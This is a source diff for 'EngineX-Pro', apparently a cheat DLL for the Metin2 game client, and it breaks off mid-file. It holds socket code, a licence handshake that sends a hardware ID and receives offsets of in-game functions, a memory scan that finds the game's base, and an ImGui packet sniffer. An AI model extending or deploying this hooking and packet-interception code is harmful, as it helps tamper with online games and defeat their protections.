Network::Peek(int len, void* pDestBuf) +{ + return Peek(len, (char*)pDestBuf); +} + +bool Network::Recv(int len, void* pDestBuf) +{ + return Recv(len, (char*)pDestBuf); +} + +bool Network::SendFlush(int len, const void* pSrcBuf) +{ + if (!Send(len, pSrcBuf)) + return false; + return SendInternalBuffer(); +} + +bool Network::Send(int len, const void* pSrcBuf) +{ + return Send(len, (const char*)pSrcBuf); +} + +bool Network::IsOnline() +{ + return m_isOnline; +} + +bool Network::OnProcess() +{ + return true; +} + +void Network::OnRemoteDisconnect() +{ + +#ifdef _DEBUG + cout << "OnRemoteDisconnect" << endl; +#endif +} + +void Network::OnDisconnect() +{ +#ifdef _DEBUG + cout << "OnDisconnect" << endl; +#endif +} + +void Network::OnConnectSuccess() +{ +#ifdef _DEBUG + cout << "OnConnectSuccess" << endl; +#endif +} + +void Network::OnConnectFailure() +{ +#ifdef _DEBUG + cout << "OnConnectFailure" << endl; +#endif +} + + + + + +void Network::Destroy() +{ + Clear(); + + WSACleanup(); + + +} + diff --git a/EngineX-Pro/Network.h b/EngineX-Pro/Network.h new file mode 100644 index 0000000..802bc3a --- /dev/null +++ b/EngineX-Pro/Network.h @@ -0,0 +1,93 @@ +#pragma once + + +class Network +{ +public: + + + static bool GetHostName(char* szName, int size); + + + static bool SetConnection(const char* c_szAddr, int port); + + static void SetLocalIP(); + static void SetIP(DWORD ip); + static void SetIP(const char* c_szIP); + static bool SetDNS(const char* c_szDNS); + + static void SetPort(int port); + + static int GetPort(); + static int GetSize(); + + static void GetIP(char* szIP, int len); + + static DWORD GetIP(); + static bool IsIP(const char* c_szAddr); + + static void SetRecvBufferSize(int recvBufSize); + static void SetSendBufferSize(int sendBufSize); + + + static int GetRecvBufferSize(); + static bool Initialize(); + static void Clear(); + static void ClearRecvBuffer(); + + static void Process(); + + + static bool Connect(const char* c_szAddr, int port, int limitSec = 3); + + static void Disconnect(); + static void Destroy(); + static bool Peek(int len); + static bool Peek(int len, char* pDestBuf); + static bool Peek(int len, void* pDestBuf); + static bool Recv(int len); + static bool Recv(int len, char* pDestBuf); + static bool Recv(int len, void* pDestBuf); + static bool Send(int len, const char* pSrcBuf); + static bool Send(int len, const void* pSrcBuf); + static bool SendFlush(int len, const void* pSrcBuf); + + static bool IsOnline(); + + +protected: + static void OnConnectSuccess(); + static void OnConnectFailure(); + static void OnRemoteDisconnect(); + static void OnDisconnect(); + static bool OnProcess(); + + static bool SendInternalBuffer(); + static bool RecvInternalBuffer(); + + static void PopSendBuffer(); + + static int GetSendBufferSize(); + + + +private: + static time_t m_connectLimitTime; + + + + static char* m_recvBuf; + static int m_recvBufSize; + static int m_recvBufInputPos; + static int m_recvBufOutputPos; + + static char* m_sendBuf; + static int m_sendBufSize; + static int m_sendBufInputPos; + static int m_sendBufOutputPos; + + static bool m_isOnline; + static SOCKET m_sock; + + static SOCKADDR_IN m_sockAddrIn; +}; diff --git a/EngineX-Pro/Packet.h b/EngineX-Pro/Packet.h new file mode 100644 index 0000000..905b495 --- /dev/null +++ b/EngineX-Pro/Packet.h @@ -0,0 +1,160 @@ +#pragma once + +#define SET_NUMBERH(x) ( (BYTE)((DWORD)(x)>>(DWORD)8) ) +#define SET_NUMBERL(x) ( (BYTE)((DWORD)(x) & 0xFF) ) +#define SET_NUMBERHW(x) ( (WORD)((DWORD)(x)>>(DWORD)16) ) +#define SET_NUMBERLW(x) ( (WORD)((DWORD)(x) & 0xFFFF) ) +#define SET_NUMBERHDW(x) ( (DWORD)((unsigned __int64)(x)>>(DWORD)32) ) +#define SET_NUMBERLDW(x) ( (DWORD)((unsigned __int64)(x) & 0xFFFFFFFF) ) +#define MAKE_NUMBERW(x,y) ( (WORD)(((BYTE)((y)&0xFF)) | ((BYTE)((x)&0xFF)<<8 )) ) +#define MAKE_NUMBERQW(x,y) ( (unsigned __int64)(((DWORD)((y)&0xFFFFFFFF)) | ((DWORD)((x)&0xFFFFFFFF)<<32)) ) +#define MAKE_NUMBERDW(x,y) ( (DWORD)(((WORD)((y)&0xFFFF)) | ((WORD)((x)&0xFFFF)<<16)) ) +#define MAKEQWORD(a, b) ((__int64)(((DWORD)((__int64)(a) & 0xffffffff)) | ((__int64)((DWORD)((__int64)(b) & 0xffffffff))) << 32)) +#define LODWORD(h) ((DWORD)(__int64(h) & __int64(0xffffffff))) +#define HIDWORD(h) ((DWORD)(__int64(h) >> __int64(32))) + +enum +{ + HEADER_SEND_NULL, + HEADER_SEND_DLL_AUTH = 255, + HEADER_SEND_DLL_HEARTBEAT = 254, +}; + +enum +{ + HEADER_RECV_NULL, + HEADER_RECV_DLL_AUTH = 255, + HEADER_RECV_DLL_HEARTBEAT = 254, +}; + +#pragma pack(push, 1) +typedef struct RECV_AUTH_PACKET +{ + BYTE header; + DWORD size; + WORD server_id; + DWORD pCPythonNetworkStreamInstance; + DWORD pCPythonCharacterManagerInstance; + DWORD pCPythonBackgroundInstance; + DWORD pCItemManagerInstance; + DWORD pCPythonItemInstance; + DWORD pCPythonApplicationInstance; + DWORD pCPythonNonPlayerInstance; + DWORD pCPythonPlayerInstance; + DWORD pCResourceManagerInstance; + DWORD pCActorInstanceTestActorCollision; + DWORD pCPythonBackgroundGlobalPositionToMapInfo; + DWORD pCInstanceBaseAvoidObject; + DWORD pCInstanceBaseBlockMovement; + DWORD pCInstanceBaseGetInstanceType; + DWORD pCInstanceBaseGetInstanceVirtualNumber; + DWORD pCInstanceBaseGetNameString; + DWORD pCInstanceBaseGetRotation; + DWORD pCInstanceBaseIsDead; + DWORD pCInstanceBaseIsMountingHorse; + DWORD pCInstanceBaseNEW_GetPixelPosition; + DWORD pCInstanceBaseNEW_MoveToDestPixelPositionDirection; + DWORD pCInstanceBaseSCRIPT_SetPixelPosition; + DWORD pCInstanceBase__SetAffect; + DWORD pCInstanceBase__GetBackgroundHeight; + DWORD pCItemDataGetName; + DWORD pCItemManagerGetItemDataPointer; + DWORD pCPythonBackgroundLocalPositionToGlobalPosition; + DWORD pCNetworkStreamConnect; + DWORD pCNetworkStream__DirectEnterMode_Set; + DWORD pCNetworkStreamGetAccountCharacterSlotDataz; + DWORD pCNetworkStreamIsOnline; + DWORD pCNetworkStreamPeek; + DWORD pCNetworkStreamRecv; + DWORD pCNetworkStreamSend; + DWORD pCNetworkStreamSendSequence; + DWORD pCPhysicsObjectIncreaseExternalForce; + DWORD pCPythonApplicationProcess; + DWORD pCPythonApplicationRenderGame; + DWORD pCPythonCharacterManagerGetInstancePtr; + DWORD pCPythonChatAppendChat; + DWORD pCPythonEventManagerRegisterEventSetFromString; + DWORD pCPythonNetworkStreamConnectGameServer; + DWORD pCPythonNetworkStreamGetMainActorSkillGroup; + DWORD pCPythonNetworkStreamSendAddFlyTargetingPacket; + DWORD pCPythonNetworkStreamSendAttackPacket; + DWORD pCPythonNetworkStreamSendCharacterStatePacket; + DWORD pCPythonNetworkStreamSendChatPacket; + DWORD pCPythonNetworkStreamSendEmoticon; + DWORD pCPythonNetworkStreamSendExchangeAcceptPacket; + DWORD pCPythonNetworkStreamSendExchangeItemAddPacket; + DWORD pCPythonNetworkStreamSendExchangeStartPacket; + DWORD pCPythonNetworkStreamSendFishingQuitPacket; + DWORD pCPythonNetworkStreamSendFishingPacket; + DWORD pCPythonNetworkStreamSendGiveItemPacket; + DWORD pCPythonNetworkStreamSendItemDropPacketNew; + DWORD pCPythonNetworkStreamSendItemMovePacket; + DWORD pCPythonNetworkStreamSendItemPickUpPacket; + DWORD pCPythonNetworkStreamSendItemUsePacket; + DWORD pCPythonNetworkStreamSendOnClickPacket; + DWORD pCPythonNetworkStreamSendRefinePacket; + DWORD pCPythonNetworkStreamSendScriptAnswerPacket; + DWORD pCPythonNetworkStreamSendShootPacket; + DWORD pCPythonNetworkStreamSendShopBuyPacket; + DWORD pCPythonNetworkStreamSendShopEndPacket; + DWORD pCPythonNetworkStreamSendShopSellPacketNew; + DWORD pCPythonNetworkStreamSendSpecial; + DWORD pCPythonNetworkStreamSendUseSkillPacket; + DWORD pCPythonNetworkStreamSendWhisperPacket; + DWORD pCPythonNetworkStreamServerCommand; + DWORD pCPythonNonPlayerGetTable; + DWORD pCPythonPlayerClickSkillSlot; + DWORD pCPythonPlayerGetItemIndex; + DWORD pCPythonPlayerGetItemMetinSocket; + DWORD pCPythonPlayerGetMainCharacterIndex; + DWORD pCPythonPlayerGetName; + DWORD pCPythonPlayerGetRace; + DWORD pCPythonPlayerGetStatus; + DWORD pCPythonPlayerGetTargetVID; + DWORD pCPythonPlayerIsSkillActive; + DWORD pCPythonPlayerIsSkillCoolTime; + DWORD pCPythonPlayerNEW_Fishing; + DWORD pCPythonPlayerNEW_GetMainActorPtr; + DWORD pCPythonPlayerSetAttackKeyState; + DWORD pCPythonPlayerSetTarget; + DWORD pCPythonPlayer__OnClickActor; + DWORD pCPythonPlayer__OnPressActor; + DWORD pCGraphicTextureGetD3DTexture; + DWORD pCResourceManagerGetResourcePointer; + DWORD pCGraphicImageGetTexturePointer; + DWORD pPyCallClassMemberFunc; + DWORD pCGraphicBasems_lpd3dDevice; + DWORD pCInputKeyboardUpdateKeyboard; + DWORD pCInstanceBaseIsWaiting; + DWORD pCInstanceBaseSetRotation; + DWORD pCPythonNetworkStreamSendCommandPacket; +}; +#pragma pack(pop) + +#pragma pack(push, 1) +typedef struct RECV_HEADER_PACKET +{ + BYTE header; + DWORD size; +}; + +typedef struct SEND_AUTH_PACKET +{ + BYTE header; + DWORD size; + char hwid[35]; +}; + +typedef struct SEND_HEARTBEAT_PACKET +{ + BYTE header; + DWORD size; +}; + + +typedef struct RECV_HEARTBEAT_PACKET +{ + BYTE header; + DWORD size; +}; +#pragma pack(pop) \ No newline at end of file diff --git a/EngineX-Pro/PacketHandler.cpp b/EngineX-Pro/PacketHandler.cpp new file mode 100644 index 0000000..9c5cd2b --- /dev/null +++ b/EngineX-Pro/PacketHandler.cpp @@ -0,0 +1,216 @@ +#include "stdafx.h" +#include "PacketHandler.h" + +bool PacketHandler::CheckPacket(BYTE* header) +{ + RECV_HEADER_PACKET recv_header_packet; + + if (Network::Peek(sizeof(RECV_HEADER_PACKET), &recv_header_packet)) + { + if (Network::GetRecvBufferSize() < recv_header_packet.size) + { + return false; + } + } + else + { + return false; + } + if (!Network::Peek(sizeof(BYTE), header)) + { + return false; + } + + if (header == (BYTE)HEADER_SEND_NULL) + { + return false; + + } + return true; +} + +bool PacketHandler::Process() +{ + BYTE header; + if (!CheckPacket(&header)) + { + return true; + } + + switch (header) + { + case HEADER_RECV_NULL: + return false; + case HEADER_RECV_DLL_HEARTBEAT: + return PacketHandler::RecvHeartBeatPacket(); + case HEADER_RECV_DLL_AUTH: + return PacketHandler::RecvAuthPacket(); + default: + return false; + } + + return true; +} + +bool PacketHandler::SendHeartBeatResponse() +{ + SEND_HEARTBEAT_PACKET send_heartbeat_packet; + send_heartbeat_packet.header = HEADER_SEND_DLL_HEARTBEAT; + send_heartbeat_packet.size = sizeof(SEND_HEARTBEAT_PACKET); + + if (!Network::Send(sizeof(SEND_HEARTBEAT_PACKET), &send_heartbeat_packet)) + { + return false; + } + return true; +} + +bool PacketHandler::RecvHeartBeatPacket() +{ + RECV_HEARTBEAT_PACKET recv_heartbeat_packet; + if (!Network::Recv(sizeof(RECV_HEARTBEAT_PACKET), &recv_heartbeat_packet)) + { + return false; + } + SendHeartBeatResponse(); + return true; +} + +bool PacketHandler::SendAuthPacket() +{ + SEND_AUTH_PACKET send_auth_packet; + send_auth_packet.header = HEADER_SEND_DLL_AUTH; + send_auth_packet.size = sizeof(SEND_AUTH_PACKET); + string hwid = GetHardwareId(); + strncpy(send_auth_packet.hwid, hwid.c_str(), 35); + if (!Network::Send(sizeof(SEND_AUTH_PACKET), &send_auth_packet)) + { + return false; + } + return true; +} + +bool PacketHandler::AddressReceived = false; +bool PacketHandler::RecvAuthPacket() +{ + RECV_AUTH_PACKET recv_auth_packet; + if (!Network::Recv(sizeof(RECV_AUTH_PACKET), &recv_auth_packet)) + { + return false; + } + + Globals::Server = (ServerName)recv_auth_packet.server_id; + if (Globals::Server == ServerName::METINPL) + { + HANDLE process = GetCurrentProcess(); + MEMORY_BASIC_INFORMATION info; + unsigned char* p = NULL; + for (p = NULL; VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info); p += info.RegionSize) + { + if ((info.State == MEM_COMMIT) && ((info.Type & MEM_MAPPED) || (info.Type & MEM_PRIVATE)) && info.Protect == 0x40) { + if (info.RegionSize >= 0x02000000) { + Globals::hEntryBaseAddress = (DWORD)info.BaseAddress; + } + } + } + } + else + { + Globals::hEntryBaseAddress = (DWORD)GetModuleHandle(NULL); + } + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamInstance; + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonCharacterManagerInstance; + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonBackgroundInstance; + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCItemManagerInstance; + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonItemInstance; + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonApplicationInstance; + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNonPlayerInstance; + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerInstance; + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + recv_auth_packet.pCResourceManagerInstance; + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + recv_auth_packet.pCActorInstanceTestActorCollision; + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonBackgroundGlobalPositionToMapInfo; + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseAvoidObject; + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseBlockMovement; + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseGetInstanceType; + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseGetInstanceVirtualNumber; + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseGetNameString; + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseGetRotation; + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseIsDead; + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseIsMountingHorse; + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseNEW_GetPixelPosition; + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseNEW_MoveToDestPixelPositionDirection; + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseSCRIPT_SetPixelPosition; + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBase__SetAffect; + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBase__GetBackgroundHeight; + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + recv_auth_packet.pCItemDataGetName; + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + recv_auth_packet.pCItemManagerGetItemDataPointer; + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonBackgroundLocalPositionToGlobalPosition; + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamConnect; + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStream__DirectEnterMode_Set; + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamGetAccountCharacterSlotDataz; + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamIsOnline; + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamPeek; + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamRecv; + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamSend; + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + recv_auth_packet.pCNetworkStreamSendSequence; + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + recv_auth_packet.pCPhysicsObjectIncreaseExternalForce; + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonApplicationProcess; + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonApplicationRenderGame; + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonCharacterManagerGetInstancePtr; + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonChatAppendChat; + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonEventManagerRegisterEventSetFromString; + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamConnectGameServer; + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamGetMainActorSkillGroup; + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendAddFlyTargetingPacket; + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendAttackPacket; + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendCharacterStatePacket; + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendChatPacket; + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendEmoticon; + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendExchangeAcceptPacket; + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendExchangeItemAddPacket; + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendExchangeStartPacket; + Globals::pCPythonNetworkStreamSendFishingQuitPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendFishingQuitPacket; + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendFishingPacket; + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendGiveItemPacket; + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendItemDropPacketNew; + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendItemMovePacket; + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendItemPickUpPacket; + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendItemUsePacket; + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendOnClickPacket; + Globals::pCPythonNetworkStreamSendRefinePacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendRefinePacket; + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendScriptAnswerPacket; + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendShootPacket; + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendShopBuyPacket; + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendShopEndPacket; + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendShopSellPacketNew; + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendSpecial; + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendUseSkillPacket; + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendWhisperPacket; + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamServerCommand; + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNonPlayerGetTable; + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerClickSkillSlot; + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetItemIndex; + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetItemMetinSocket; + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetMainCharacterIndex; + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetName; + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetRace; + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetStatus; + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerGetTargetVID; + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerIsSkillActive; + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerIsSkillCoolTime; + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerNEW_Fishing; + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerNEW_GetMainActorPtr; + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerSetAttackKeyState; + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayerSetTarget; + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayer__OnClickActor; + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonPlayer__OnPressActor; + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + recv_auth_packet.pPyCallClassMemberFunc; + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + recv_auth_packet.pCGraphicBasems_lpd3dDevice; + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + recv_auth_packet.pCInputKeyboardUpdateKeyboard; + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseIsWaiting; + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + recv_auth_packet.pCInstanceBaseSetRotation; + Globals::pCPythonNetworkStreamSendCommandPacket = Globals::hEntryBaseAddress + recv_auth_packet.pCPythonNetworkStreamSendCommandPacket; + + AddressReceived = true; + return true; +} \ No newline at end of file diff --git a/EngineX-Pro/PacketHandler.h b/EngineX-Pro/PacketHandler.h new file mode 100644 index 0000000..a5edd5e --- /dev/null +++ b/EngineX-Pro/PacketHandler.h @@ -0,0 +1,16 @@ +#pragma once + + +class PacketHandler +{ +public: + static bool AddressReceived; + static bool Process(); + static bool SendHeartBeatResponse(); + static bool RecvHeartBeatPacket(); + static bool SendAuthPacket(); + static bool RecvAuthPacket(); + +protected: + static bool CheckPacket(BYTE* header); +}; diff --git a/EngineX-Pro/PacketSniffer.h b/EngineX-Pro/PacketSniffer.h new file mode 100644 index 0000000..a357323 --- /dev/null +++ b/EngineX-Pro/PacketSniffer.h @@ -0,0 +1,142 @@ +#pragma once +class PacketSniffer :public IAbstractModuleBase, public Singleton +{ +private: + bool PacketSendIgnoreHeaders = false; + bool PacketSendOnlyHeaders = false; + bool PacketSendEnable = false; + bool PacketSendReturnAddressEnable = false; + + + bool PacketRecvIgnoreHeaders = false; + bool PacketRecvOnlyHeaders = false; + bool PacketRecvEnable = false; + bool PacketRecvReturnAddressEnable = false; + bool PacketSendRecvIgnoreHeaders = false; + bool PacketSendRecvOnlyHeaders = false; + bool PacketSendRecvEnable = false; + +public: + bool IsEnablePacketSend() + { + return PacketSendEnable; + } + bool IsEnablePacketRecv() + { + return PacketRecvEnable; + } + + bool IsEnableReturnAddressPacketSend() + { + return PacketSendReturnAddressEnable; + } + bool IsEnableReturnAddressPacketRecv() + { + return PacketRecvReturnAddressEnable; + } + virtual void OnStart() + { + } + + virtual void OnStop() + { + } + + virtual void OnUpdate() + { + } + + virtual void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("SniffernBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Send Enable", &PacketSendEnable); ImGui::SameLine(); ImGui::Checkbox("Show Return Address", &PacketSendReturnAddressEnable); + ImGui::Checkbox("Receive Enable", &PacketRecvEnable); ImGui::SameLine(); ImGui::Checkbox("Show Return Address", &PacketRecvReturnAddressEnable); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(71, "PacketSniffer"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 71: + OnTab1(); + break; + } + } + + void ProcessSendPacket(int len, void* pDestBuf, DWORD address) + { + BYTE header; + memcpy(&header, pDestBuf, sizeof(header)); + BYTE* recvBuff = new BYTE[len]; + memcpy(recvBuff, pDestBuf, len); + + if (PacketSendEnable) + { + string headerName = sClientToServer[header]; + string packetHex = StringExtension::MakeHexString((BYTE*)pDestBuf, len, true, true); + string ascii = StringExtension::BYTEToAsciiString(pDestBuf, len); + + string line = "[SEND][L:" + std::to_string(len) + "][" + headerName + "][" + packetHex + "]"; + Logger::AddString(Logger::SNIFFER, true, Logger::WHITE, line); + + Logger::AddString(Logger::SNIFFER, true, Logger::YELLOW, ascii); + Logger::AddString(Logger::SNIFFER, true, Logger::YELLOW, StringExtension::DWORDToHexString(address)); + + + } + } + + void ProcessRetPacket(int len, DWORD address) + { + if (PacketSendEnable) + { + Logger::AddString(Logger::SNIFFER, true, Logger::YELLOW, StringExtension::DWORDToHexString(address)); + + + } + } + + void ProcessRecvPacket(int len, void* pDestBuf, DWORD address) + { + BYTE header; + memcpy(&header, pDestBuf, sizeof(header)); + BYTE* recvBuff = new BYTE[len]; + memcpy(recvBuff, pDestBuf, len); + + if (header == 0x00) + { + return; + } + + if (PacketRecvEnable) + { + string headerName = sServerToClient[header]; + string packetHex = StringExtension::MakeHexString((BYTE*)pDestBuf, len, true, true); + string line = "[RECV][L:" + std::to_string(len) + "][" + headerName + "][" + packetHex + "]"; + string ascii = StringExtension::BYTEToAsciiString(pDestBuf, len); + + Logger::AddString(Logger::SNIFFER, true, Logger::WHITE, line); + Logger::AddString(Logger::SNIFFER, true, Logger::YELLOW, ascii); + + Logger::AddString(Logger::SNIFFER, true, Logger::YELLOW, StringExtension::DWORDToHexString(address)); + } + } + +}; + + + + diff --git a/EngineX-Pro/PageAllocator.cpp b/EngineX-Pro/PageAllocator.cpp new file mode 100644 index 0000000..ccad9c3 --- /dev/null +++ b/EngineX-Pro/PageAllocator.cpp @@ -0,0 +1,51 @@ +#include "polyhook2/PageAllocator.hpp" + +std::vector PLH::PageAllocator::m_pages; +std::recursive_mutex PLH::PageAllocator::m_pageMtx; +std::atomic PLH::PageAllocator::m_refCount = 0; + +PLH::PageAllocator::PageAllocator(const uint64_t address, const uint64_t size) : m_regionStart(address), m_regionSize(size) { + ++m_refCount; +} + +PLH::PageAllocator::~PageAllocator() { + // future me may hate myself for locking in destructor + std::lock_guard lock(m_pageMtx); + + if (m_refCount.fetch_sub(1) == 1) { + for (const SplitPage& page : m_pages) { + 